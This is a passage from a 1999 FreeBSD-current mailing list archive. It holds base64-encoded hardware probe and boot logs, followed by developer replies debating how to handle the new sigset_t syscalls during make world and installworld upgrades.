eDM4MCAuLiAweDNmMCwgYWxpZ25tZW50IDB4MTAsIGxlbiAweGMNCglbMTYt
Yml0IGFkZHJdDQogICAgSS9PIFJhbmdlIDB4MjIwIC4uIDB4MjQwLCBhbGln
bm1lbnQgMHgyMCwgbGVuIDB4MTANCglbMTYtYml0IGFkZHJdDQogICAgSS9P
IFJhbmdlIDB4ZTBjIC4uIDB4ZmZjLCBhbGlnbm1lbnQgMHg0LCBsZW4gMHg0
DQoJWzE2LWJpdCBhZGRyXQ0KICAgIElSUTogNSA3IDkgMTAgMTEgIC0gb25s
eSBvbmUgdHlwZSAodHJ1ZS9lZGdlKQ0KICAgIERNQTogY2hhbm5lbChzKSAw
IDEgMyANCgk4LWJpdCwgbm90IGEgYnVzIG1hc3RlciwgY291bnQgYnkgYnl0
ZSwgLCBUeXBlIEYNClRBRyBFbmQgREYNCg0KTG9naWNhbCBEZXZpY2UgSUQ6
IE9QVDAwMDEgMHgwMTAwMTQzZSAjMg0KCVZlbmRvciByZWdpc3RlciBmdW5j
cyAwMA0KRGV2aWNlIERlc2NyaXB0aW9uOiBHYW1lIFBvcnQNCiAgICBJL08g
UmFuZ2UgMHgyMDAgLi4gMHgyMGYsIGFsaWdubWVudCAweDEsIGxlbiAweDEN
CglbMTYtYml0IGFkZHJdDQoNCkxvZ2ljYWwgRGV2aWNlIElEOiBPUFQwMDAy
IDB4MDIwMDE0M2UgIzMNCglWZW5kb3IgcmVnaXN0ZXIgZnVuY3MgMDANCkRl
dmljZSBEZXNjcmlwdGlvbjogTVBVNDAxDQogICAgSS9PIFJhbmdlIDB4MzAw
IC4uIDB4MzYwLCBhbGlnbm1lbnQgMHgxMCwgbGVuIDB4Mg0KCVsxNi1iaXQg
YWRkcl0NCiAgICBJUlE6IDUgNyA5IDEwIDExICAtIG9ubHkgb25lIHR5cGUg
KHRydWUvZWRnZSkNCkVuZCBUYWcNCg0KU3VjY2Vzc2Z1bGx5IGdvdCA1MyBy
ZXNvdXJjZXMsIDQgbG9naWNhbCBmZGV2cw0KLS0gY2FyZCBzZWxlY3QgIyAw
eDAwMDENCg0KQ1NOIE9QVDA5MzEgKDB4MzEwOTE0M2UpLCBTZXJpYWwgTnVt
YmVyIDB4ZmZmZmZmZmYNCg0KTG9naWNhbCBkZXZpY2UgIzANCklPOiAgMHgw
MDAwIDB4MDAwMCAweDAwMDAgMHgwMDAwIDB4MDAwMCAweDAwMDAgMHgwMDAw
IDB4MDAwMA0KSVJRIDAgMA0KRE1BIDQgNA0KSU8gcmFuZ2UgY2hlY2sgMHgw
MCBhY3RpdmF0ZSAweDAxDQoNCkxvZ2ljYWwgZGV2aWNlICMxDQpJTzogIDB4
MDM4MCAweDAzODAgMHgwMzgwIDB4MDM4MCAweDAzODAgMHgwMzgwIDB4MDM4
MCAweDAzODANCklSUSA1IDANCkRNQSAwIDENCklPIHJhbmdlIGNoZWNrIDB4
MDAgYWN0aXZhdGUgMHgwMQ0KDQpMb2dpY2FsIGRldmljZSAjMg0KSU86ICAw
eDAwMDAgMHgwMDAwIDB4MDAwMCAweDAwMDAgMHgwMDAwIDB4MDAwMCAweDAw
MDAgMHgwMDAwDQpJUlEgMCAwDQpETUEgNCA0DQpJTyByYW5nZSBjaGVjayAw
eDAwIGFjdGl2YXRlIDB4MDENCg0KTG9naWNhbCBkZXZpY2UgIzMNCklPOiAg
MHgwMDAwIDB4MDAwMCAweDAwMDAgMHgwMDAwIDB4MDAwMCAweDAwMDAgMHgw
MDAwIDB4MDAwMA0KSVJRIDEwIDANCkRNQSA0IDQNCklPIHJhbmdlIGNoZWNr
IDB4MDAgYWN0aXZhdGUgMHgwMQ0K
---1982919126-1087472807-938690610=:668
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="dmesg.out"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.10.9909300423301.668@lorien.odc.net>
Content-Description: 
Content-Disposition: attachment; filename="dmesg.out"

Q29weXJpZ2h0IChjKSAxOTkyLTE5OTkgVGhlIEZyZWVCU0QgUHJvamVjdC4N
CkNvcHlyaWdodCAoYykgMTk4MiwgMTk4NiwgMTk4OSwgMTk5MSwgMTk5Mw0K
CVRoZSBSZWdlbnRzIG9mIHRoZSBVbml2ZXJzaXR5IG9mIENhbGlmb3JuaWEu
IEFsbCByaWdodHMgcmVzZXJ2ZWQuDQpGcmVlQlNEIDQuMC1DVVJSRU5UICMx
MjE6IFR1ZSBTZXAgMjggMTk6MzQ6MDQgUERUIDE5OTkNCiAgICByb290QDov
dXNyL3NyYy9zeXMvY29tcGlsZS9NSUxMRU5OSVVNDQpUaW1lY291bnRlciAi
aTgyNTQiICBmcmVxdWVuY3kgMTE5MzE4MiBIeg0KVGltZWNvdW50ZXIgIlRT
QyIgIGZyZXF1ZW5jeSAxOTkzMTAwNjQgSHoNCkNQVTogUGVudGl1bSBQcm8g
KDE5OS4zMS1NSHogNjg2LWNsYXNzIENQVSkNCiAgT3JpZ2luID0gIkdlbnVp
bmVJbnRlbCIgIElkID0gMHg2MTcgIFN0ZXBwaW5nID0gNw0KICBGZWF0dXJl
cz0weGY5ZmY8RlBVLFZNRSxERSxQU0UsVFNDLE1TUixQQUUsTUNFLENYOCxT
RVAsTVRSUixQR0UsTUNBLENNT1Y+DQpyZWFsIG1lbW9yeSAgPSAxMzQyMTc3
MjggKDEzMTA3MksgYnl0ZXMpDQphdmFpbCBtZW1vcnkgPSAxMjcxMzk4NDAg
KDEyNDE2MEsgYnl0ZXMpDQpQcmVsb2FkZWQgZWxmIGtlcm5lbCAia2VybmVs
IiBhdCAweGMwMmYwMDAwLg0KUGVudGl1bSBQcm8gTVRSUiBzdXBwb3J0IGVu
YWJsZWQNCm5weDA6IDxtYXRoIHByb2Nlc3Nvcj4gb24gbW90aGVyYm9hcmQN
Cm5weDA6IElOVCAxNiBpbnRlcmZhY2UNCnBjaWIwOiA8SG9zdCB0byBQQ0kg
YnJpZGdlPiBvbiBtb3RoZXJib2FyZA0KcGNpMDogPFBDSSBidXM+IG9uIHBj
aWIwDQppc2FiMDogPEludGVsIDgyMzcxU0IgUENJIHRvIElTQSBicmlkZ2U+
IGF0IGRldmljZSAxLjAgb24gcGNpMA0KaXNhMDogPElTQSBidXM+IG9uIGlz
YWIwDQpjaGlwMTogPEludGVsIFBJSVgzIElERSBjb250cm9sbGVyPiBhdCBk
ZXZpY2UgMS4xIG9uIHBjaTANCmRlMDogPERpZ2l0YWwgMjExNDBBIEZhc3Qg
RXRoZXJuZXQ+IGlycSA5IGF0IGRldmljZSAxMC4wIG9uIHBjaTANCmRlMDog
MjExNDBBIFsxMC0xMDBNYi9zXSBwYXNzIDIuMg0KZGUwOiBhZGRyZXNzIDAw
OjQwOjA1OjM2OjczOjU2DQp2Z2EtcGNpMDogPEFUSSBtb2RlbCA0NzUwIGdy
YXBoaWNzIGFjY2VsZXJhdG9yPiBpcnEgMTIgYXQgZGV2aWNlIDEyLjAgb24g
cGNpMA0KbmNyMDogPG5jciA1M2M4OTUgZmFzdDQwIHdpZGUgc2NzaT4gaXJx
IDE1IGF0IGRldmljZSAxMy4wIG9uIHBjaTANCmZkYzA6IDxORUMgNzIwNjVC
IG9yIGNsb25lPiBhdCBwb3J0IDB4M2YwLTB4M2Y3IGlycSA2IGRycSAyIG9u
IGlzYTANCmZkYzA6IEZJRk8gZW5hYmxlZCwgOCBieXRlcyB0aHJlc2hvbGQN
CmZkMDogPDE0NDAtS0IgMy41IiBkcml2ZT4gb24gZmRjMCBkcml2ZSAwDQp3
ZGMwIGF0IHBvcnQgMHgxZjAtMHgxZjcgaXJxIDE0IG9uIGlzYTANCndkYzA6
IHVuaXQgMCAoYXRhcGkpOiA8IElDRC05MDBBVC8gQTAxPiwgcmVtb3ZhYmxl
LCBpb3JkeQ0Kd2NkMDogZHJpdmUgc3BlZWQgMTM2N0tCL3NlYywgMTIwS0Ig
Y2FjaGUNCndjZDA6IHN1cHBvcnRlZCByZWFkIHR5cGVzOiBDRC1EQQ0Kd2Nk
MDogQXVkaW86IHBsYXksIDI1NSB2b2x1bWUgbGV2ZWxzDQp3Y2QwOiBNZWNo
YW5pc206IGVqZWN0YWJsZSB0cmF5DQp3Y2QwOiBNZWRpdW06IG5vL2JsYW5r
IGRpc2MgaW5zaWRlLCB1bmxvY2tlZA0KYXRrYmRjMDogPGtleWJvYXJkIGNv
bnRyb2xsZXIgKGk4MDQyKT4gYXQgcG9ydCAweDYwLTB4NmYgb24gaXNhMA0K
YXRrYmQwOiA8QVQgS2V5Ym9hcmQ+IGlycSAxIG9uIGF0a2JkYzANCnZnYTA6
IDxHZW5lcmljIElTQSBWR0E+IGF0IHBvcnQgMHgzYjAtMHgzZGYgaW9tZW0g
MHhhMDAwMC0weGJmZmZmIG9uIGlzYTANCnNjMDogPFN5c3RlbSBjb25zb2xl
PiBvbiBpc2EwDQpzYzA6IFZHQSA8MTYgdmlydHVhbCBjb25zb2xlcywgZmxh
Z3M9MHgyMDA+DQpzaW8wIGF0IHBvcnQgMHgzZjgtMHgzZmYgaXJxIDQgZmxh
Z3MgMHgxMCBvbiBpc2EwDQpzaW8wOiB0eXBlIDE2NTUwQQ0Kc2lvMSBhdCBw
b3J0IDB4MmY4LTB4MmZmIGlycSAzIG9uIGlzYTANCnNpbzE6IHR5cGUgMTY1
NTBBDQpwcGMwIGF0IHBvcnQgMHgzNzgtMHgzN2YgaXJxIDcgb24gaXNhMA0K
cHBjMDogVzgzODc3RiBjaGlwc2V0IChOSUJCTEUtb25seSkgaW4gQ09NUEFU
SUJMRSBtb2RlDQpwcGIwOiBJRUVFMTI4NCBkZXZpY2UgZm91bmQgL05JQkJM
RS9FQ1AvRUNQX1JMRQ0KUHJvYmluZyBmb3IgUG5QIGRldmljZXMgb24gcHBi
dXMwOg0KcHBidXMwOiA8SGV3bGV0dC1QYWNrYXJkIEhQIExhc2VySmV0IDU+
IFBKTCxNTEMsUENMLFBDTFhMDQpwbGlwMDogPFBMSVAgbmV0d29yayBpbnRl
cmZhY2U+IG9uIHBwYnVzIDANCmxwdDA6IDxnZW5lcmljIHByaW50ZXI+IG9u
IHBwYnVzIDANCmxwdDA6IEludGVycnVwdC1kcml2ZW4gcG9ydA0KcHBpMDog
PGdlbmVyaWMgcGFyYWxsZWwgaS9vPiBvbiBwcGJ1cyAwDQp1bmtub3duMDog
PEFVWDA+IG9uIGlzYTANCnVua25vd24xOiA8R2FtZSBQb3J0PiBvbiBpc2Ew
DQpwY20wOiA8T1BUaTkzMT4gYXQgcG9ydCAweDUzNC0weDUzNywweDM4MC0w
eDM4YiwweDIyMC0weDIyZiwweGUwYy0weGUwZiBpcnEgNSBkcnEgMCwxIG9u
IGlzYTANCkFEX1dBSVRfSU5JVCBGQUlMRUQgMTAwMiAweGZmDQpBRF9XQUlU
X0lOSVQgRkFJTEVEIDEwMDIgMHhmZg0KQURfV0FJVF9JTklUIEZBSUxFRCAx
MDAyIDB4ZmYNCkFEX1dBSVRfSU5JVCBGQUlMRUQgMjAxIDB4ZmYNCkFEX1dB
SVRfSU5JVCBGQUlMRUQgMTAwMiAweGZmDQpBRF9XQUlUX0lOSVQgRkFJTEVE
IDIwMSAweGZmDQpBRF9XQUlUX0lOSVQgRkFJTEVEIDEwMDIgMHhmZg0KQURf
V0FJVF9JTklUIEZBSUxFRCAxMDAyIDB4ZmYNCkFEX1dBSVRfSU5JVCBGQUlM
RUQgMTAwMiAweGZmDQpBRF9XQUlUX0lOSVQgRkFJTEVEIDIwMSAweGZmDQpB
RF9XQUlUX0lOSVQgRkFJTEVEIDEwMDIgMHhmZg0KQURfV0FJVF9JTklUIEZB
SUxFRCAyMDEgMHhmZg0KQURfV0FJVF9JTklUIEZBSUxFRCAxMDAyIDB4ZmYN
CkFEX1dBSVRfSU5JVCBGQUlMRUQgMjAxIDB4ZmYNCkFEX1dBSVRfSU5JVCBG
QUlMRUQgMTAwMiAweGZmDQpBRF9XQUlUX0lOSVQgRkFJTEVEIDIwMSAweGZm
DQpBRF9XQUlUX0lOSVQgRkFJTEVEIDEwMDIgMHhmZg0KQURfV0FJVF9JTklU
IEZBSUxFRCAyMDEgMHhmZg0KQURfV0FJVF9JTklUIEZBSUxFRCAxMDAyIDB4
ZmYNCkFEX1dBSVRfSU5JVCBGQUlMRUQgMjAxIDB4ZmYNCkFEX1dBSVRfSU5J
VCBGQUlMRUQgMTAwMiAweGZmDQpBRF9XQUlUX0lOSVQgRkFJTEVEIDIwMSAw
eGZmDQpBRF9XQUlUX0lOSVQgRkFJTEVEIDEwMDIgMHhmZg0KQURfV0FJVF9J
TklUIEZBSUxFRCAyMDEgMHhmZg0KQURfV0FJVF9JTklUIEZBSUxFRCAxMDAy
IDB4ZmYNCkFEX1dBSVRfSU5JVCBGQUlMRUQgMjAxIDB4ZmYNCkFEX1dBSVRf
SU5JVCBGQUlMRUQgMTAwMiAweGZmDQpBRF9XQUlUX0lOSVQgRkFJTEVEIDIw
MSAweGZmDQpBRF9XQUlUX0lOSVQgRkFJTEVEIDEwMDIgMHhmZg0KQURfV0FJ
VF9JTklUIEZBSUxFRCAyMDEgMHhmZg0KQURfV0FJVF9JTklUIEZBSUxFRCAx
MDAyIDB4ZmYNCkFEX1dBSVRfSU5JVCBGQUlMRUQgMjAxIDB4ZmYNCkFEX1dB
SVRfSU5JVCBGQUlMRUQgMTAwMiAweGZmDQpBRF9XQUlUX0lOSVQgRkFJTEVE
IDIwMSAweGZmDQpBRF9XQUlUX0lOSVQgRkFJTEVEIDEwMDIgMHhmZg0KQURf
V0FJVF9JTklUIEZBSUxFRCAyMDEgMHhmZg0KQURfV0FJVF9JTklUIEZBSUxF
RCAxMDAyIDB4ZmYNCkFEX1dBSVRfSU5JVCBGQUlMRUQgMjAxIDB4ZmYNCkFE
X1dBSVRfSU5JVCBGQUlMRUQgMTAwMiAweGZmDQpBRF9XQUlUX0lOSVQgRkFJ
TEVEIDIwMSAweGZmDQpBRF9XQUlUX0lOSVQgRkFJTEVEIDEwMDIgMHhmZg0K
QURfV0FJVF9JTklUIEZBSUxFRCAyMDEgMHhmZg0KQURfV0FJVF9JTklUIEZB
SUxFRCAxMDAyIDB4ZmYNCkFEX1dBSVRfSU5JVCBGQUlMRUQgMjAxIDB4ZmYN
CkFEX1dBSVRfSU5JVCBGQUlMRUQgMTAwMiAweGZmDQp1bmtub3duMjogPE1Q
VTQwMT4gYXQgcG9ydCAweDMwMC0weDMwMSBpcnEgMTAgb24gaXNhMA0KV2Fp
dGluZyAxNSBzZWNvbmRzIGZvciBTQ1NJIGRldmljZXMgdG8gc2V0dGxlDQpk
ZTA6IGVuYWJsaW5nIDEwMGJhc2VUWCBwb3J0DQpjaGFuZ2luZyByb290IGRl
dmljZSB0byBkYTBzMWENCmRhMSBhdCBuY3IwIGJ1cyAwIHRhcmdldCAxIGx1
biAwDQpkYTE6IDxRVUFOVFVNIEZJUkVCQUxMX1RNMjExMFMgMzAwWD4gRml4
ZWQgRGlyZWN0IEFjY2VzcyBTQ1NJLTIgZGV2aWNlIA0KZGExOiAyMC4wMDBN
Qi9zIHRyYW5zZmVycyAoMjAuMDAwTUh6LCBvZmZzZXQgMTUpLCBUYWdnZWQg
UXVldWVpbmcgRW5hYmxlZA0KZGExOiAyMDE0TUIgKDQxMjQ3MzYgNTEyIGJ5
dGUgc2VjdG9yczogMjU1SCA2M1MvVCAyNTZDKQ0KZGEwIGF0IG5jcjAgYnVz
IDAgdGFyZ2V0IDAgbHVuIDANCmRhMDogPFNFQUdBVEUgU1QxNTE1ME4gMDAy
Mz4gRml4ZWQgRGlyZWN0IEFjY2VzcyBTQ1NJLTIgZGV2aWNlIA0KZGEwOiAx
MC4wMDBNQi9zIHRyYW5zZmVycyAoMTAuMDAwTUh6LCBvZmZzZXQgMTUpLCBU
YWdnZWQgUXVldWVpbmcgRW5hYmxlZA0KZGEwOiA0MDk1TUIgKDgzODgzMTUg
NTEyIGJ5dGUgc2VjdG9yczogMjU1SCA2M1MvVCA1MjJDKQ0K
---1982919126-1087472807-938690610=:668--


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  4:34:52 1999
Delivered-To: freebsd-current@freebsd.org
Received: from m4.c2.telstra-mm.net.au (m4.c2.telstra-mm.net.au [24.192.3.19])
	by hub.freebsd.org (Postfix) with ESMTP id 4690F14D30
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 04:34:38 -0700 (PDT)
	(envelope-from areilly@nsw.bigpond.net.au)
Received: from m5.c2.telstra-mm.net.au (m5.c2.telstra-mm.net.au [24.192.3.20])
	by m4.c2.telstra-mm.net.au (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id VAA25401
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 21:33:18 +1000 (EST)
X-BPC-Relay-Envelope-From: areilly@nsw.bigpond.net.au 
X-BPC-Relay-Envelope-To: <current@FreeBSD.ORG>
X-BPC-Relay-Sender-Host: m5.c2.telstra-mm.net.au [24.192.3.20]
X-BPC-Relay-Info: Message delivered directly.
Received: from areilly.bpc-users.org (CPE-24-192-49-170.nsw.bigpond.net.au [24.192.49.170])
	by m5.c2.telstra-mm.net.au (8.8.6 (PHNE_14041)/8.8.6) with SMTP id VAA17627
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 21:33:12 +1000 (EST)
Received: (qmail 80873 invoked by uid 1000); 30 Sep 1999 11:33:14 -0000
From: "Andrew Reilly" <areilly@nsw.bigpond.net.au>
Date: Thu, 30 Sep 1999 21:33:14 +1000
To: Marcel Moolenaar <marcel@scc.nl>
Cc: current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
Message-ID: <19990930213314.A80221@gurney.reilly.home>
References: <37F337CC.5E06911B@scc.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre2i
In-Reply-To: <37F337CC.5E06911B@scc.nl>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thu, Sep 30, 1999 at 12:13:32PM +0200, Marcel Moolenaar wrote:
> The problem
> -----------
> When doing a make world, tools are being built that are used by the
> build process. This is to make sure that the tools are appropriate for
> doing a make world. The problem we now face is that the sigset_t change
> causes this to break. The tools that are being built use new syscalls
> not present in a kernel. Not only that, the new tools expect a different
> sigframe in general.

As far as I can see, if this is the case, then this is the only
problem.  The tools built for a buildworld are tools that have
to run on the _current_ platform, whatever that might be, with
the new platform as a target.  Therefore, they should be build
against the existing system include files and libraries, and so
should run on the existing system.

With these tools, we build the world.

As far as I can tell, the problem is installworld.

Either:

(a) The tools required to build the corresponding new kernel have to
be secreted away in an "upgrade-bin" directory, so that they are
still accessible after the install world (none of which will run
on the existing kernel).

(b) You build a new kernel before you do the install-world,
reboot, and then installworld.

I can't see any bennefit at all to (a), or any problem with (b).
As I mentioned in a previous mail, why on earth should we expect
user-land programs built to a new API to run on a kernel that
doesn't support that API.  The converse has always been true,
though.  Kernels usually support any new API and the previous one
or more, so that old applications will still run.

That said, I don't mind your idea of extending the stable
kernel, but that is still really just a sneaky way of getting
the user to build and install a kernel that supports the new API
before they try to installworld.  Isn't it?

-- 
Andrew


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  4:43:44 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.scc.nl (node1374.a2000.nl [62.108.19.116])
	by hub.freebsd.org (Postfix) with ESMTP id 1340214D14
	for <current@FreeBSD.org>; Thu, 30 Sep 1999 04:43:37 -0700 (PDT)
	(envelope-from freebsd-current@scc.nl)
Received: (from daemon@localhost)
	by mail.scc.nl (8.9.3/8.9.3) id NAA70713
	for current@FreeBSD.org; Thu, 30 Sep 1999 13:19:53 +0200 (CEST)
	(envelope-from freebsd-current@scc.nl)
Received: from GATEWAY by dwarf.hq.scc.nl with netnews
	for current@FreeBSD.org (current@FreeBSD.org)
To: current@FreeBSD.org
Date: Thu, 30 Sep 1999 13:19:45 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Message-ID: <37F34751.347F5778@scc.nl>
Organization: SCC vof
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <37F337CC.5E06911B@scc.nl>
Subject: Re: new sigset_t and upgrading: a proposal
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Marcel Moolenaar wrote:

> Pros
> ----
> o  It increases inoperability between -stable and -current.

I mean decreases inoperability or increases operability of course :-/

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  4:45:42 1999
Delivered-To: freebsd-current@freebsd.org
Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11])
	by hub.freebsd.org (Postfix) with SMTP id 1673114D41
	for <current@freebsd.org>; Thu, 30 Sep 1999 04:45:38 -0700 (PDT)
	(envelope-from dwmalone@maths.tcd.ie)
Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP
          id <aa29347@salmon>; 30 Sep 1999 12:45:37 +0100 (BST)
Date: Thu, 30 Sep 1999 12:45:37 +0100
From: David Malone <dwmalone@maths.tcd.ie>
To: Marcel Moolenaar <marcel@scc.nl>
Cc: current@FreeBSD.org
Subject: Re: new sigset_t and upgrading: a proposal
Message-ID: <19990930124537.A39723@walton.maths.tcd.ie>
References: <37F337CC.5E06911B@scc.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <37F337CC.5E06911B@scc.nl>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thu, Sep 30, 1999 at 12:13:32PM +0200, Marcel Moolenaar wrote:

> So, the problem can be split into:
> A) New syscalls using the new sigset_t (sigaction and so on)
> B) A new sigframe (new siginfo, no sigcontext but ucontext_t)

"I'm probably missing something, but..." (TM)

The new syscall problem has been delt with before by catching
the illegal signal and doing it by hand (getcwd works this way
in 3.X anyway). Could the signal calls not do the following:

	1) On first call use the osignal stuff to catch the
	illegal syscall signal, and set a have__newsigt if
	the signal is presnet and then use the new syscalls.

	2) If they're not present settle for translating the
	calls.

Once you know if you have the new sigframe or not you can decide
if you have to translate.

	David.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  5: 1:58 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.utexas.edu (wb3-a.mail.utexas.edu [128.83.126.138])
	by hub.freebsd.org (Postfix) with SMTP id C172114ED1
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 05:01:54 -0700 (PDT)
	(envelope-from rkw@dataplex.net)
Received: (qmail 27827 invoked by uid 0); 30 Sep 1999 12:01:50 -0000
Received: from dial-49-29.ots.utexas.edu (HELO nomad.dataplex.net) (128.83.113.29)
  by umbs-smtp-3 with SMTP; 30 Sep 1999 12:01:50 -0000
From: Richard Wackerbarth <rkw@dataplex.net>
To: Marcel Moolenaar <marcel@scc.nl>, current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
Date: Thu, 30 Sep 1999 06:46:58 -0500
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <37F337CC.5E06911B@scc.nl>
In-Reply-To: <37F337CC.5E06911B@scc.nl>
MIME-Version: 1.0
Message-Id: <99093007010203.31512@nomad.dataplex.net>
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thu, 30 Sep 1999, Marcel Moolenaar wrote:
> Sub-problem B (sigframe) doesn't need to be handled, because:
> 	1. none of the tools require ...
Correct, this is a "non-problem".

> Sub-problem A (syscalls) can be easily handled if the syscalls are added
> to a -stable kernel. 

Wrong. I CANNOT rebuild the kernel that runs my build machine.

What we need is to (effectively) remove these syscalls from the tools in
question. This can be done with conditional compilation or a compatability
library.

Each tool should be evaluated for its functionality.
If the host's tool has the required functionality, there is no reason to
upgrade it in order to build the "foreign" (4.0) system. For example, "cat".
If the host's tool is inappropriate, we MUST build a cross-build version.
In many cases, this simply means that we compile the source of the tool with
the host's headers.  In others, it is more complex, but it can, and should, be
done.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  5:13:42 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.scc.nl (node1374.a2000.nl [62.108.19.116])
	by hub.freebsd.org (Postfix) with ESMTP id EB11414F8A
	for <current@FreeBSD.org>; Thu, 30 Sep 1999 05:13:37 -0700 (PDT)
	(envelope-from freebsd-current@scc.nl)
Received: (from daemon@localhost)
	by mail.scc.nl (8.9.3/8.9.3) id NAA78515
	for current@FreeBSD.org; Thu, 30 Sep 1999 13:52:18 +0200 (CEST)
	(envelope-from freebsd-current@scc.nl)
Received: from GATEWAY by dwarf.hq.scc.nl with netnews
	for current@FreeBSD.org (current@FreeBSD.org)
To: current@FreeBSD.org
Date: Thu, 30 Sep 1999 13:52:11 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Message-ID: <37F34EEB.C0E0401A@scc.nl>
Organization: SCC vof
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <37F337CC.5E06911B@scc.nl>, <19990930213314.A80221@gurney.reilly.home>
Subject: Re: new sigset_t and upgrading: a proposal
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Andrew Reilly wrote:
> 
> On Thu, Sep 30, 1999 at 12:13:32PM +0200, Marcel Moolenaar wrote:
> > The problem
> > -----------
> > When doing a make world, tools are being built that are used by the
> > build process. This is to make sure that the tools are appropriate for
> > doing a make world. The problem we now face is that the sigset_t change
> > causes this to break. The tools that are being built use new syscalls
> > not present in a kernel. Not only that, the new tools expect a different
> > sigframe in general.
> 
> As far as I can see, if this is the case, then this is the only
> problem.  The tools built for a buildworld are tools that have
> to run on the _current_ platform, whatever that might be, with
> the new platform as a target.

Yep.

> Therefore, they should be build
> against the existing system include files and libraries, and so
> should run on the existing system.

This requires porting. If it only was that simple...

> (b) You build a new kernel before you do the install-world,
> reboot, and then installworld.

This is the same as building a new kernel before doing make world.

> I can't see any bennefit at all to (a), or any problem with (b).

(b) is far too complex.

> That said, I don't mind your idea of extending the stable
> kernel, but that is still really just a sneaky way of getting
> the user to build and install a kernel that supports the new API
> before they try to installworld.  Isn't it?

Yep, only "marketed" a bit better :-)

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  6: 4:50 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-10.mail.nl.demon.net [194.159.73.20])
	by hub.freebsd.org (Postfix) with ESMTP id 5358A15A08
	for <current@freebsd.org>; Thu, 30 Sep 1999 06:04:38 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.02 #1)
	id 11Wfsz-0002e4-00; Thu, 30 Sep 1999 13:04:37 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id PAA70538;
	Thu, 30 Sep 1999 15:04:30 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F35FDE.2480785E@scc.nl>
Date: Thu, 30 Sep 1999 15:04:30 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Richard Wackerbarth <rkw@dataplex.net>
Cc: current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
References: <37F337CC.5E06911B@scc.nl> <99093007010203.31512@nomad.dataplex.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Richard Wackerbarth wrote:
> 
> > Sub-problem A (syscalls) can be easily handled if the syscalls are added
> > to a -stable kernel.
> 
> Wrong. I CANNOT rebuild the kernel that runs my build machine.

What are you saying?

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  6:16:20 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.utexas.edu (wb1-a.mail.utexas.edu [128.83.126.134])
	by hub.freebsd.org (Postfix) with SMTP id 8EFF314E05
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 06:16:08 -0700 (PDT)
	(envelope-from rkw@dataplex.net)
Received: (qmail 14226 invoked from network); 30 Sep 1999 13:16:06 -0000
Received: from dial-52-42.ots.utexas.edu (HELO nomad.dataplex.net) (128.83.57.42)
  by umbs-smtp-1 with SMTP; 30 Sep 1999 13:16:06 -0000
